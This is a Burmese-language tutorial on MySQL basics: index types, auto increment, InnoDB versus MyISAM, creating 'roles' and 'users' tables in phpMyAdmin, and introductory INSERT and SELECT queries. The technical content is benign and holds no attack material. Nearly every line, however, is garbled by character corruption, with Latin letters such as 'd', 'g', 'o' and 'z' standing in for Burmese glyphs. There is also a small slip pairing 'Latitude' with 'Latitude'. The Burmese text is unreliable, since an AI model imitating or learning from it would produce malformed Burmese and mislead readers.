နံပါတ် မရှိတဲ့အခါ တစ်ခုခုကိုရှာချင်ရင် တစ်ရွက်ချင်းလှန်ရှာရမှာပါ။ ရှရိင်dတာ့ ကိုယ်လုိချင်တဲ့စာမျက်နှာ
ကို တန်းလှန်လုိက်လို့ ရနိုင်ပါတယ်။ ဒီသdzာပါပဲ၊ Index   မရှိတဲ့အခါ တစ်ခုခုလုိချင်ရင် တစ်deကာင်းချင်း  
dထာက်ရှာရမှာပါ။ Index ရှရိင်dတာ့ လုိချင်တဲ့ Record ကို တန်းdထာက်လုိက်လ့ုိ ရနိုင်ပါတယ်။

Index အမျ ို းအစား (၅) မျ ို းရှိပါတယ်။ အ့ဲဒီထဲက Fulltext ဆိုတာ စာdတွရှာတဲ့အခါ အတိအကျမဟုတ်zဲ
အနည်းစပ်ဆုံးတန်oိုးကို Rank လုပ်ပြပီး gပန်ထုတ်dပးနိုင်တဲ့ Search Index မျ ို းပါ။ Spatial ဆိုတာကdတာ့
Geolocation  Data  dတွမှာလုိ  Latitude  နဲ့  Latitude  ဆိုတဲ့  အချက်အလက်နှစ်ခု  ဆက်စပ်သိမ်းဆည်း
ထားတဲ့ အချက်အလက် အမျ ို းအစားdတွအတွက် အသံုးgပုရတဲ့ Index မျ ို းပါ။ 
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ဒီနှစ်ခုက ထူးgခားတဲ့ ပdရာZျက်အမျ ို းအစားdတွမှာသာ အသံုးgပုeကမယ့် သdzာပဲ goစ်ပါတယ်။

ပုိအသုံးများမယ့် Index အမျ ို းအစားdတွကdတာ့ Index, Unique နဲ့ Primary တို့ပဲgoစ်ပါတယ်။ Index ဆို
တာကdတာ့  dစာdစာကdgပာသလို  မာတိကာ  တပ်dပးလုိက်တာပါပဲ။  အdgခခံအကျဆုံး  Index  အမျ ို း
အစား goစ်ပါတယ်။  Data  dတွ ရှာရတာgမန်ချင်တဲ့  Column dတွမှာ  Index  ကို dရွးထားdပးနိုင်ပါတယ်။
ဥပမာ  -  dကျာင်းသားdတရွဲ့  အချက်အလက်dတွကို  သိမ်းထားပြပီး  ခုံနံပါတ်နဲ့အရှာများရင်  ခုံနံပါတ်ကို
Index လုပ်ရပါတယ်။ အမည်နဲ့ အရှာများရင် အမည်ကို  Index လုပ်ရပါတယ်။ dကျာင်းဝင်အမှတ်နဲ့ အရှာ
များရင် dကျာင်းဝင်အမှတ်ကို Index လုပ်ရပါတယ်။ ပုိdကာင်းသွားdအာင် အကုန်လံုးကို Index လုပ်လုိက်
မယ်လို့  dgပာလ့ုိdတာ့  မရပါzူး။  Index  လုပ်လုိက်တဲ့အခါ  Index  dတွသိမ်းo့ုိအတွက်  dနရာပုိယူသွားမှာ
goစ်ပါတယ်။ Index ရှိတဲ့အတွက် Data ရှာယူရတာ gမန်သွားdပမယ့်၊ Data သိမ်းရတာdတာ့ ပုိeကာသွားနိုင်
ပါတယ်။ သိမ်းလုိက်တိုင်း Index ကိုလည်း gပင်dပးရမှာ မုိ့လ့ုိပါ။ ဒါdeကာင့် အသံုးများတဲ့  Column dတွကို
သာ dရွးပြပီး Index လုပ်ရတဲ့သdzာပါ။

Unique   ကdတာ့ တန်oိုးdတွ gပန်ထပ်ရင် လက်မခံတဲ့   Index   အမျ ို းအစားပါ  ။ ဥပမာ - ခုံနံပါတ်ဆိုတာ gပန်
ထပ်ရိုးထံုးစံ  မရှိပါzူး။  ဒါdeကာင့်  Unique Index  dပးလုိက်ရင် ပုိdကာင်းပါတယ်။  Unique  goစ်သွားတဲ့
အတွက်  ရလာတဲ့အကျ ို းရလဒ်  နှစ်ခုရှိပါတယ်။  ပထမတစ်ခုက  Data  gပန်ထပ်ပြပီးသိမ်းo့ုိ  ကြကိုးစားရင်
Database  က  လက်မခံတဲ့အတွက်  မdတာ်တစ်ဆ  gပန်ထပ်တာမျ ို း  မgoစ်dတာ့ပါzူး။  dနာက်တစ်ခု
ကdတာ့  Data    အသစ်ထပ်ထည့်တိုင်း   မာတိကာအစအဆုံး gပန်ဆွဲရသလုိ  Index    အစအဆုံး gပန်လုပ်oို့  မ  
လုိအပ်dတာ့zဲ ထပ်တိုးတဲ့ တန်oုိးကိုသာ Index   မှာ ထပ်တိုးdပးနိုင်လုိ့   ပုိgမန်သွားမှာပဲ goစ်ပါတယ်။

Primary နဲ့ Unique ဟာ Index လုပ်ပုံ သdzာသzာဝ တူပါတယ်။ ကွဲgပားချက်ကdတာ့ Table တစ်ခုမှာ
Primary Index  လုပ်ထားတဲ့  Column  တစ်ခုသာ ရှိခွင့်ရှိgခင်း goစ်ပါတယ်။  Unique Index  ကdတာ့ လုိ
သdလာက် သတ်မှတ်နိုင်ပါတယ်။ Primary Index ကို  Data dတွစီမံoို့အတွက် အဓိကအကျဆုံး  Column
မှာ သတ်မှတ်dပးeကdလ့ ရှိပါတယ်။ ဒီအတွက် ကိုယ့်zာသာdရွးမdနပါနဲ့။ ဥပမာ – ခုံနံပါတ်ကို  Primary
ထားရင်dကာင်းမလား၊ dကျာင်းဝင်အမှတ်ကို Primary ထားရင်dကာင်းမလား dရးွမdနပါနဲ့။ Table   တစ်ခု  
တည်dဆာက်လုိက်တိုင်းမှာ   id     လ့ုိအမည်dပးထားတဲ့   Column   တစ်ခုထည့်သွင်းပြပီး အ့ဲဒီ   Column   ကိုသာ  
Primary   အdနနဲ့ ထားသင့်ပါတယ်  ။ ဒါလည်းပဲ Naming Convention တစ်ခုအdနနဲ့ ထည့်သွင်းမှတ်သား
သင့်တဲ့ အချက်goစ်ပါတယ်။
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AI – Auto Increment ဆိုတဲ့ အဓိပ္ပါယ်ပါ။ AI ကို dရွးထားလုိက်မယ့်ဆိုရင် အ့ဲဒီ Column ထဲက Data ကို
ကိုယ်zက်က dပးစရာမလုိdတာ့ပါzူး။  Database  က အလိုအdလျှာက် တန်oုိးတိုးပြပီး ထည့်dပးသွားမှာ
goစ်ပါတယ်။ AI နဲ့ Primary ကို တွဲပြပီးdတာ့ သံုးeကပါတယ်။ ဒါdeကာင့် gပန်dgပာချင်ပါတယ်။ Table   တစ်ခု  
တည်dဆာက်လုိက်တိုင်းမှာ    id     လ့ုိအမည်dပးထားတဲ့    Column    တစ်ခုထည့်သွင်းပြပီး  အ့ဲဒီ    Column    ကို  
Primary Index   dပးပြပီး   AI   ကိုလည်း dရွးdပးထားသင့်ပါတယ်  ။

ဒီdလာက်ဆိုရင်  Column Property  dတွနဲ့ပက်သက်ပြပီး အdတာ်စုံသွားပါပြပီ။ dနာက်ဆုံးတစ်ချက်အdနနဲ့
dအာက်နားက Storage Engine ကို သတိgပုသင့်ပါတယ်။ Table ထဲမှာ Data dတွသိမ်းဆည်းgခင်းနဲ့ စီမံ
gခင်းကို အ့ဲဒီ Storage Engine ကလုပ်dပးတာပါ။ MySQL မှာ dရးွချယ်အသံုးgပုစရာ Engine အမျ ို းမျ ို း ရှိ
ပါတယ်။  Feature  အgပည့်စုံဆုံးနဲ့  အသံုးgပုoို့  အသင့်dတာ်ဆုံးက InnoDB goစ်ပြပီး  Default  အdနနဲ့လည်း
InnoDB  ကိုပဲ dရွးdပးထားတာကို dတွ့ရမှာပါ။  InnoDB  ဟာ  Transaction  နဲ့  Foreign Key  အပါအဝင်
ACID  Compliance  dခါ်  အချက်အလက်  တိကျလံုခြခုံမှုနက်သက်ဆိုင်တဲ့  လုပ်dဆာင်ချက်dတွ  ပါဝင်တဲ့
နည်းပညာgoစ်ပါတယ်။  သ့ူdလာက်  Feature  မစုံdပမယ့်  Data  dတွပုိများများ  သိမ်းနိုင်ပြပီး  နည်းနည်း
လည်း  ပုိgမန်တဲ့  MyISAM  ကို  အရင်က  Default  အdနနဲ့  သံုးeကပါတယ်။  ဒီdနရာမှာ  အdသးစိတ်dတာ့
မdgပာနိုင်ပါzူး။  ပdရာZျက်ကြကီးdတွ  လုပ်ရdတာ့မယ်ဆိုရင်dတာ့  Database  ရဲ့စွမ်းdဆာင်ရည်ပုိင်း
ချင့်ချနိ်နိုင်o့ုိအတွက် ဒီ Storage Engine dတွအdeကာင်းကို dလ့လာပြပီး သင့်dတာ်တဲ့ Engine ကို dရွးချယ်
အသံုးgပုoို့  လုိနိုင်တယ်ဆိုတာကိုသာ သတိgပုပါ။ ပdရာZျက်အများစု အတွကd်တာ့  InnoDB  ကသာလျှင်
အသင့်dတာ်ဆုံးgoစ်လ့ုိ သူdရွးdပးထားတဲ့အတိုင်းပဲ အသုံးgပုသွားသင့်ပါတယ်။

နမူနာအdနနဲ့  တည်dဆာက်လုိတဲ့  roles Table  မှာ  Column  (၃)  ခုပါဝင်မှာ  goစ်ပါတယ်။  ရိှရမယ့်
Column Property dတွက ဒီလုိပါ –

roles
id – INT, Primary, AI
name – VARCHAR (255)
value – INT

သတ်မှတ်dပးထားပံုကို ဒီမှာgပန်eကည့်လ့ုိလဲရပါတယ်။
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name Column အတွက် VARCHAR Column Type ကို သံုးထားလ့ုိ Length dနရာမှာ 255 လ့ုိdပးထားပါ
တယ်။ ဒီ  Property  dတွ  စုံdအာင်သတ်မှတ်ပြပီးရင်  dအာက်နားက  Save  ခလုပ်ကိုနှိပ်လိုက်ပါ။  roles
အမည်နဲ့ Column (၃) ခုပါတဲ့ Table တစ်ခုကို တည်dဆာက်ရရှိသွားပြပီ goစ်ပါတယ်။
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အdeကာင်းအမျ ို းမျ ို းdeကာင့် တည်dဆာက်ထားတဲ့  Table  ကို gပန်oျက်ချင်ရင်  Operations Menu  ကိုနှိပ်
ပြပီး  dပါ်လာတဲ့လုပ်dဆာင်ချက်dတွထဲက  Delete  the  table  ကို  နှိပ်ပြပီး  oျက်လ့ုိရပါတယ်။ အလားတူပဲ
Database ကို gပန်oျက်ချင်ရင်လည်း Database ကိုdရွးထားပြပီး  Operations ထဲက Drop the database
နဲ့ oျက်နိုင်ပါတယ်။

တည်dဆာက်ထားတဲ့ Table ထဲက Data dတွကို eကည့်ချင်ရင် Menu ကdန Browser ကိုနှိပ်eကည့်လ့ုိ ရပါ
တယ်။ dလာdလာဆယ်dတာ့ zာ Data မှ ရိှဦးမှာ မဟုတ်ပါzူး။ Data dတွ ထည့်သိမ်းလုိရင်dတာ့ Menu
ကdနပဲ Insert ကိုနှိပ်ပြပီး ထည့်လ့ုိရပါတယ်။

dပါ်လာတဲ့ Form မှာ id အတွက် မgoည့်zဲ အလွတ်ထားလ့ုိရပါတယ်။ Auto Increment သတ်မှတ်ထား
လ့ုိ သိမ်းလိုက်ချနိ်မှာ သ့ူzာသာတန်oုိးဝင်သွားပါလိမ့်မယ်။ ကျန်တဲ့  name နဲ့  value dနရာမှာ  name
အတွက် အdနနဲ့  User လ့ုိdပးပြပီး value dနရာမှာ 1 ကိုdပးလုိက်ပါ။ တစ်ခါထဲ နှစ်ခုgoည့်ချင်ရင် dအာက်
က doာင်မှာ ဆက်goည့်လုိ့ရပါတယ်။ တစ်ခုပဲ  goည့်ချင်ရင် dအာက်ကdoာင်ကို  မgoည့်zဲ  ချန်ထားလုိက်
လည်းရပါတယ်။ ပြပီးရင် Go ခလုပ်နှိပ်ပြပီး သိမ်းလုိက်လ့ုိရပါပြပီ။ စမ်းeကည့်နိုင်ပါတယ်။ 
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သိမ်းထားတဲ့  Data ကို  Browser  မှာ gပန်eကည့်ပြပီး လုိအပ်ရင် gပင်တာ oျက်တာdတွ လုပ်လို့ရပါတယ်။ ဒီ
အဆင့်dရာက်ပြပီဆိုရင် တစ်ခုချင်းdgပာo့ုိ မလုိdတာ့zူးလ့ုိ ယူဆပါတယ်။ User Interface နဲ့ dတွ့gမင်dနရ
တာgoစ်လ့ုိ  ကိုယ်တိုင်dလ့လာအသံုးgပုသွားလ့ုိ  ရသွားပါပြပီ။  အခုလုိပံုစံမျ ို းရdအာင်  dနာက်ထပ်  Record
dတွ ထပ်ထည့်dပးပါ။

 
နမူနာအရ User, Manager နဲ့ Admin လ့ုိdခါ်တဲ့ Record (၃) ခရုှိdနပါတယ်။ User ရဲ့ value က 1 goစ်
ပြပီး  Manager  ရဲ့  value က 2 goစ်ပါတယ်။ Admin ရဲ့  value ကdတာ့  3  goစ်ပါတယ်။ ဒါကိုမှတ်ထား
dပးပါ။ ဆက်လက် dလ့လာတဲ့အခါ ဒီတန်oုိးdတွကို အdgခခံပြပီး ဆက်eကည့်သွားရမှာdတွ ရိှလ့ုိပါ။

လက်ရှိdရးလက်စ ပdရာZျက်မှာ အသံုးgပုoို့အတွက် dနာက်ထပ် Table တစ်ခုထပ်ပြပီးdတာ့ တည်dဆာက်
eကပါမယ်။ users Table ပါ။ ပါရမယ့် Column dတွနဲ့  Column Property dတွက ဒီလုိပါ။
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users
id – INT, Primary, AI
name – VARCHAR (255)
email – VARCHAR (255)
phone – VARCHAR (255)
address – TEXT
password – VARCHAR (255)
role_id – INT, Default (1)
photo – VARCHAR (255), Null
suspended – INT, Default (0)
created_at – DATETIME
updated_at – DATETIME, null

စုစုdပါင်း Column (၁၁) ခုပါဝင်ပါတယ်။ ထူးgခားချက်တစ်ချ ို ့ကို dgပာgပချင်ပါတယ်။

id Column  ကdတာ့  Table  တိုင်းမှာပါသင့်တဲ့အတိုင်း  Primary Index  နဲ့  Auto Increment  သတ်မှတ်
ချက်dတွနဲ့အတူ ပါဝင်ရမှာပါ။ name, email, phone, address နဲ့ password တို့မှာ သိမ်းလုိ
တဲ့ အချက်အလက်dတွကdတာ့ Column အမည်မှာတင် အဓိပ္ပါယ်dပါ်လွင်ပြပီးgoစ်ပါတယ်။ 

အdရးကြကီးတာက role_id goစ်ပါတယ်။ ဒါဟာလည်း dနာက်ထပ် သတိgပုရမယ့်   Naming Convention  
သတ်မှတ်ချက်တစ်ခုပါ။  roles Table  ရဲ့  id ကို  ရည်ညွှန်း လုိက်တာပါ။ ဒီလိုမျ ို း  အချက်အလက်dတွ
သိမ်းတဲ့အခါ  တgခား  Table  တစ်ခုကတန်oုိးနဲ့  ချတိ်ဆက်သိမ်းဆည်းလုိတဲ့အခါ  dရှ့ကdန  Table  ရဲ့
Singular Name  နဲ့အတူ dနာက်ကdန  _id ကို  တွဲပြပီးdတာ့  dပးရတာပါ။ ဥပမာ  - User  ရဲ့  Role  က
Admin  ဆိုရင်  Admin  လ့ုိ တိုက်ရိုက်ထည့်သိမ်းမယ့်အစား  3  ဆိုတဲ့  id တန်oုိးကို  သိမ်းလုိက်မှာပါ။  id
တန်oုိး 3 ဆိရုင် Admin goစ်deကာင်း roles Table ကိုeကည့်ပြပီး သိနိုင်ပါတယ်။
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ဒီလုိချတိ်ဆက်အသံုးgပုတဲ့အတွက် Role Name dgပာင်းတာdတွ၊ တပ်တိုးတာdတွ လုပ်လုိတဲ့အခါ roles
Table မှာ လုပ်လုိက်ယံုနဲ့ သူနဲ့ ချတိ်ဆက်အသံုးgပုထားတဲ့ users Table မှာ သက်dရာက်သွားမှာ goစ်ပါ
တယ်။ users Table  ထဲမှာသာ တစ်ခါထဲ ထည့်သိမ်းမယ်ဆိုရင် ဒီလုိအdgပာင်းအလဲမျ ို းက စီမံရခက်နိုင်
ပါတယ်။

ဒါdeကာင့် ပdရာZျက်တစ်ခု စတဲ့အခါ၊ သိမ်းမယ့် အချက်အလက် Data dတွရဲ့ oဲွ့စည်းပံုနဲ့ ဆက်စပ်ပံုကို အ
ရင်ဆုံး  စနစ်တကျ  ပံုစံချo့ုိလုိအပ်ပါတယ်။  ဒီလုိအချက်အလက်  oဲွ့စည်းသိမ်းဆည်းပံု  စနစ်ကျgခင်း  မကျ
gခင်းက ပdရာZျက်အdပါ်မှာ သိသိသာသာ သက်dရာက်မှုရှိdစမှာ goစ်ပါတယ်။

ဒါဟာ  Convention  အdနနဲ့  လုိက်နာသင့်တဲ့  အdလ့အကျင့်ဆိုတာကို  ထပ်ပြပီးdတာ့  သတိgပုပါ။  ဒီလုိ
အမည်ကို dပးလုိက်ယံုနဲ့dတာ့ အထက်ကပံုမှာ gပထားသလုိ Table နှစ်ခု အလုိအdလျှာက်ချတိ်သွားမှာမျ ို း
မဟုတ်ပါzူး။  ဒါdပမယ့်  Laravel  လုိ  Framework  မျ ို းအပါအဝင် တစ်ချ ို ့စနစ်dတွကို  ဒီလုိအမည်မျ ို းကို
eကည့်ပြပီး ဆိုလုိရင်းကို နားလည် အလုပ်လုပ်dပးနိုင်တယ်ဆိုတဲ့ သdzာပါ။ 
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Column Property  အdနနဲ့  role_id အတွက်  Default (1)  လ့ုိdပးထားတာကို သတိgပုပါ။ ဒါdeကာင့်
role_id မdပးခဲ့ရင် Default Value က 1 goစ်dနdစမှာပါ။ dနာက်ထပ်ကျန်dနတဲ့ Column dတွgoစ်eက
တဲ့  photo မှာ  User  ရဲ့  Profile  Photo  အမည်ကို  သိမ်းမှာ  goစ်ပါတယ်။  Null  လက်ခံထားပါတယ်။
suspended Column  ကိုdတာ့  User  dတွ zန်းလ့ုိရတဲ့  လုပ်dဆာင်ချက်dလး ထည့်လုပ်ချင်လ့ုိ  ထည့်
ထားတာပါ။  suspended တန်oုိး  1  goစ်dနရင်  User  ကို  zန်းထားတယ်လို့  မှတ်ယူအလုပ်လုပ်ချင်တာ
ပါ။ သ့ူအတွက်လည်း Default Value အdနနဲ့ 0 လ့ုိdပးထားပါတယ်။

created_at နဲ့ updated_at တို့ကလည်း အdရးပါတဲ့ Column dတွgoစ်eကပါတယ်။ Table တိုင်းမှာ
ပါဝင်သင့်ပါတယ်။ Record တစ်ခုထည့်လုိက်ရင် ထည့်လုိက်တဲ့ ရက်စွဲ/အချနိ်ကို created_at မှာ သိမ်း
ချင်တာပါ။  Record  တစ်ခုကို gပင်လုိက်ရင်dတာ့ gပင်လုိက်တဲ့ ရက်စွဲ/အချနိ်ကို  updated_at မှာ သိမ်း
မှာပါ။ ဒီနည်းနဲ့  zယ်  Record  ကို  zယ်တုံးကသိမ်းခဲ့တယ်၊ zယ်တုံးက gပင်ခဲ့တယ်ဆိုတဲ့  မှတ်တမ်းကို
dနာင်လုိအပ်တဲ့အခါ အလွယ်တစ်ကူ သိရှိနိုင်မှာgoစ်ပါတယ်။  updated_at အတွက်  Null  လက်ခံထား
တာကို သတိgပုပါ။

dပးထားတဲ့  Property  dတွ  dသချာစုံdအာင်  စစ်dဆးပြပီး  Table  ကိုတည်dဆာက်လုိက်ပါ။  Table
တည်dဆာက်ချနိ်မှာ  ရှိခဲ့တဲ့အမှားက  ပdရာZျက်မှာ  dတာက်dလျှာက်  ဒုက္ခdပးနိုင်ပါတယ်။  ဒါdeကာင့်
Column  Name  အပါအဝင်  Property  dတွ  gပည့်စုံမှန်ကန်ချင်း  ရှိမရှိ  dသdသချာချာ  ထပ်မံစစ်dဆးo့ုိ
အကြကံgပုပါတယ်။

SQL (Structure Query Language)
တည်dဆာက်ထားတဲ့  Database Table  ထဲက  Data  dတွကို  စီမံo့ုိအတွက်  SQL Query Language  ကို
အသံုးgပုရပါတယ်။ ကျယ်gပန့်ပြပီး  သီးgခားzာသာရပ်တစ်ခု  အdနနဲ့  ရိှdနတဲ့  အdeကာင်းအရာတစ်ခုပါ။  ဒီ
dနရာမှာdတာ့  အdgခခံအကျဆုံးနဲ့  မgoစ်မdနလုိအပ်တဲ့  Data  စီမံမှု  လုပ်ငန်းdတွကို  SQL  Query  dတွ
အသံုးgပုပြပီး zယ်လုိလုပ်ရလဲဆိုတာ ထည့်သွင်းdoာ်gပသွားမှာ goစ်ပါတယ်။

ဒီအdgခခံလုပ်ငန်းdတွကို  အတိုdကာက်  CRUD လ့ုိdခါ်eကပါတယ်။  Create, Read, Update, Delete  ကို
ဆိုလုိတာပါ။ Data dတွ သိမ်းgခင်း၊ gပန်လည်ရယူgခင်း၊ gပင်ဆင်gခင်းနဲ့ ပယ်oျက်gခင်း လုပ်ငန်းdတွပါ။
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Create
Data dတွ Table ထဲမှာ သိမ်းoုိ့အတွက် အသုံးgပုရတဲ့ SQL Syntax က ဒီလုိပါ။

INSERT INTO table (column, column, …) VALUES (value, value, …);

1. INSERT  INTO  Statement  ကိုအသံုးgပုရပြပီး  table dနရာမှာ  Data  dတွသိမ်းလုိတဲ့  Table
Name ကို dပးရမှာပါ။ 

2. Table  Name  dနာက်မှာ  ဝုိက်ကွင်းအoွင့်အပိတ်နဲ့  သိမ်းလုိတဲ့  Column  စာရင်း  dပးရပါတယ်။
တစ်ချ ို ့ Column dတွကို မလုိအပ်ရင် ချန်ထားလ့ုိရပါတယ်။ ဥပမာ id ဆိုရင် ကိုယ်zက်က dပး
စရာမလိုလ့ုိ Column စာရင်းထဲမှာ မထည့်လ့ုိရပါတယ်။

3. ပြပီးတဲ့အခါ  VALUES  နဲ့အတူ သိမ်းလုိတဲ့  Data  dတွကို တန်းစီdပးရပါတယ်။ အ့ဲဒီလုိ dပးတဲ့အခါ
Data စာရင်းနဲ့ Column စာရင်း ကိုက်ညီမှုရှရိပါတယ်။

4. Column  စာရင်း  ထည့်မdပးzဲလည်း  dရးလ့ုိရပါတယ်။  ဒါdပမယ့်  dပးလိုက်တာ  ပုိdကာင်းပါ
တယ်။ Column စာရင်းမdပးရင် Value စာရင်းက Table တည်dဆာက်စဉ်က dပးခဲ့တဲ့အစီအစဉ်
အတိအကျ dရးdပးရမှာgoစ်လ့ုိ  များရင် အဆင်မdgပပါzူး။ dရှ့dနာက် အစီအစဉ်လဲွတာမျ ို းdတွ
goစ်နိုင်ပါတယ်။

5. Query Statement တစ်deကာင်းဆုံးတဲ့အခါ dနာက်ဆုံးကdန Semicolon နဲ့ ပိတ်dပးရပါတယ်။
တစ်deကာင်းထဲ ဆိုရင်dတာ့ မထည့်လည်းရပါတယ်။

6. dရးတဲ့အခါ တစ်deကာင်းထဲ၊ တစ်ဆက်ထဲ dရးလို့ရသလုိ၊ လုိင်းdတွ ခွdဲရးလို့လည်းရပါတယ်။

dရးထံုးက ပံုdသမှတ်ထားလို့ရပါတယ်။ အထဲက  table, column dတွနဲ့  value dတွdနရာမှာသာ
သင့်dတာ်တဲ့  တန်oုိးdတွ အစားထိုးထည့်သွင်းdပးရမှာပါ။ အ့ဲဒီလုိdရးတဲ့အခါ  INSERT INTO  နဲ့  VALUES
တို့ကို  SQL Keyword  dတွကို  စာလံုးအကြကီး  အdသး  နှစ်သက်သလုိ  dရးနိုင်ပါတယ်။  ဒါdပမယ့်  စာလံုး
အကြကီးdတွနဲ့ချည်း dရးeကတဲ့ထံုးစံ ရှိပါတယ်။ ဒီdတာ့မှ eကည့်လုိက်ယံုနဲ့ SQL Keyword မှန်း gမင်သာdစoို့
goစ်ပါတယ်။
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Table Name    dတွ    Column Name    dတွကdတာ့    Table    တည်dဆာက်တုံးက သတ်မှတ်ထားတဲ့အတိုင်း  
အကြကီးအdသး  အတိအကျ  goစ်ရပါတယ်။  လဲွလ့ုိမရပါzူး။  Value  dတွdပးတဲ့အခါ  Number  dတွကို  ဒီ
အတိုင်း dပးလ့ုိရdပမယ့်၊ String dတွ Text dတွကိdုတာ့ Single Quote သ့ုိမဟုတ် Double Quote ထဲမှာ
dရးdပးရပါတယ်။  MySQL  မှာ  Column  Name  dတွကို  Quote  ထဲမှာ  ထည့်dပးစရာ  မလုိအပ်ပါzူး။
ထည့်ချင်တယ်ဆိုရင် Single Quote တို့ Double Quote တို့ကို သံုးလ့ုိမရပါzူး။ Back Tick ကိုသံုးdပးရပါ
တယ် (ဥပမာ `role_id`)။

နမူနာ SQL Query dတွdရးစမ်းချင်ရင် phpMyAdmin ရဲ့ Menu ကdန SQL ကိုနှိပ်ပြပီး dရးလ့ုိရပါတယ်။

နမူနာပံုမှာ  users Table  ကို  dရွးထားပြပီးမှ  Menu  ကdန  SQL  ကိုနှိပ်တဲ့အတွက်  ညာzက်gခမ်းမှာ
users Table မှာရှိတဲ့ Column စာရင်းကို dပးထားသလုိ၊ SELECT, INSERT, UPDATE စတဲ့ SQL Query
dတွ  အသင့်dရးdပးနိုင်တဲ့  ခလုပ်dလးdတွ  ပါဝင်တာကိုလည်း  dတွ့ရမှာ  goစ်ပါတယ်။  နှိပ်eကည့်လုိ့ရပါ
တယ်။ အသင့d်ရးပြပီးသား SQL Query dလးdတွ ဝင်dရာက်သွားတာကို dတွ့ရမှာ goစ်ပါတယ်။
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ဒါdပမယ့် သူအသင့်dရးdပးတာကို အားမကိုးသင့်ပါzူး။ SQL Query ဆိုတာ မgoစ်မdန ကိုယ်တိုင်dရးနိုင်
o့ုိ  လုိအပ်တဲ့  အdgခခံလုိအပ်ချက်တစ်ခုgoစ်ပါတယ်။  ဒါdeကာင့်  ကိုယ်တိုင်dရးနိုင်dအာင်  dလ့ကျင့်သင့်ပါ
တယ်။ အခုလုိdရးပြပီး စမ်းeကည့်နိုင်ပါတယ်။

 SQL 
INSERT INTO users (
  name, 
  email, 
  phone, 
  address, 
  password, 
  created_at
) VALUES (
  'Alice',
  'alice@gmail.com',
  '123456', 
  'Yangon', 
  'password', 
  NOW()
)

ဒီ Query ကိုကူးdရးပြပီး Go ခလုပ်ကိုနှိပ်လိုက်ရင် users Table ထဲမှာ dပးလုိက်တဲ့ အချက်အလက်dတွနဲ့
အတူ  Record  တစ်ခုdရာကရ်ှိသွားရမှာ  goစ်ပါတယ်။  Browser  ကိုနှိပ်ပြပီး  ရလဒ်ကို  eကည့်နိုင်ပါတယ်။
အကယ်၍ dရးတဲ့ Query မှားdနရင်လည်း မှားdနdeကာင်း Error ကို ရရိှမှာgoစ်ပါတယ်။ 

နမူနာ  Query  မှာ လုိအပ်တဲ့  Column  dတွကိုပဲ dပးထားတာကို dတွ့ ရနိုင်ပါတယ်။  id ထည့်dပးမထား
သလုိ Default Value ရှိတဲ့ role_id တို့ suspended တို့လုိ Column dတွ ထည့်dပးမထားပါzူး။ ပြပီး
dတာ့  Null  လက်ခံတဲ့  photo နဲ့  updated_at ကိုလည်း ထည့်dပးမထားပါzူး။  id ကလဲွရင် ကျန်
Column dတွ ထည့်dပးချင်ရင် dပးလ့ုိရပါတယ်။ ကိုယ်တိုင် အမျ ို းမျ ို း gပင်dရးပြပီး စမ်းeကည့်သင့်ပါတယ်။
dနာက်ထပ်သတိgပုစရာကdတာ့  created_at အတွက်  ရက်စွဲအချနိ်ကို  ကိုယ့်zာသာရိုက်ထည့်မdပး
zဲ  NOW() Function  ကို dခါ်ယူdပးထားgခင်း goစ်ပါတယ်။  MySQL  မှာ အ့ဲဒီလုိ အသံုးဝင်တဲ့  Function
dတွလည်း အများအgပား ရှိdနပါdသးတယ်။

– https://dev.mysql.com/doc/refman/8.0/en/sql-function-reference.html

https://dev.mysql.com/doc/refman/8.0/en/sql-function-reference.html
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Read
သိမ်းထားတဲ့ အချက်အလက်dတွ gပန်လည်ထုတ်ယူလုိရင် SELECT Statement ကိုသံုးရပါတယ်။ 

SELECT column1, column2, … FROM table;

SELECT  dနာက်မှာ ရယူလုိတဲ့  Column  စာရင်းကို dပးရပြပီး  FROM ရဲ့dနာက်မှာ  Table Name  ကိုdပးရ
တာပါ။ Column အားလံုးကို လုိချင်ရင် * သdက[တကို အသုံးgပုနိုင်ပါတယ်။ ဥပမာ –

 SQL 
SELECT * FROM users

ဒါဟာ  users Table  ထဲအချက်အလက်dတွကို  ရယူလုိက်တာပါ။  *  သdက[တကို  သံုးထားတဲ့အတွက်
Column အားလံုးပါဝင်မှာgoစ်ပါတယ်။ dရးပြပီးစမ်းeကည့်နိုင်ပါတယ်။ ဒီလုိစမ်းeကည့်တဲ့အခါ အဆင်dgပdစ
o့ုိအတွက် Record တစ်ချ ို ့ကို ကိုယ့်အစီအစဉ်နဲ့ကိုယ် ကြကိုတင်ထည့်သွင်းထားသင့်ပါတယ်။ 

SELECT Statement  နဲ့အတူ တွဲoက်အသံုးgပုdလ့ရှိတဲ့  လုပ်dဆာင်ချက်dတွ  ရှိပါတယ်။ အချက်အလက်
dတွကို ထုတ်ယူတဲ့အခါ Sorting စီပြပီးထုတ်ယူလုိရင် ORDER BY ကို အသံုးgပုနိုင်ပါတယ်။

 SQL 
SELECT id, name, email FROM users ORDER BY name

ဒါဟာ users Table ထဲက id, name နဲ့ email ဆိုတဲ့ Column (၃) ခုကိုထုတ်ယူပြပီး၊ အ့ဲဒီလုိထုတ်ယူ
တဲ့အခါ  name နဲ့  Sorting  စီပြပီးdတာ့  ထုတ်ယူလုိက်တာ  goစ်ပါတယ်။  Sorting  စီတယ်ဆိုတဲ့dနရာမှာ
ငယ်စဉ်ကြကီးလုိက် စီသွားမှာပါ။ အကယ်၍ ကြကီးစဉ်ငယ်လိုက် စီပြပီးထုတ်ယူလုိရင် DESC ကို သံုးနိုင်ပါတယ်။

 SQL 
SELECT id, name, email FROM users ORDER BY name DESC
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dစာdစာက Query  နဲ့သdzာသzာဝ အတတူူပါပဲ။ ဒါdပမယ့်  DESC ပါသွားလ့ုိ  name နဲ့  Sorting  စီပြပီး
ထုတ်dပးတဲ့အခါ ကြကီးစဉ်ငယ်လိုက် စီdပးသွားမှာပါ။  Column တစ်ခုထက်ပုိပြပီး စီdပးdစလိုရင်လည်း ရပါ
တယ်။ ORDER BY dနာက်မှာ Column အမည်dတွကို Comma ခံပြပီး တန်းစီdပးလုိက်ယံုပါပဲ။

SELECT id, name, email FROM users ORDER BY role_id DESC, name

role_id နဲ့  ကြကီးစဉ်ငယ်လုိက်အရင်စီပြပီး  role_id တူသူdတွကို  name နဲ့  ငယ်စဉ်ကြကီးလုိက်စီgပ
ခိုင်းလိုက်တာပါ။ ဒီလုိdတွထုတ်ယူတဲ့အခါ ရှိသမျှ Record dတွအကုန်ထွက်လာမှာပါ။ အကုန်မယူzဲ dရွး
ယူလုိရင် WHERE နဲ့ Filter လုပ်ပြပီး ရယူနိုင်ပါတယ်။

SELECT * FROM users WHERE role_id = 2

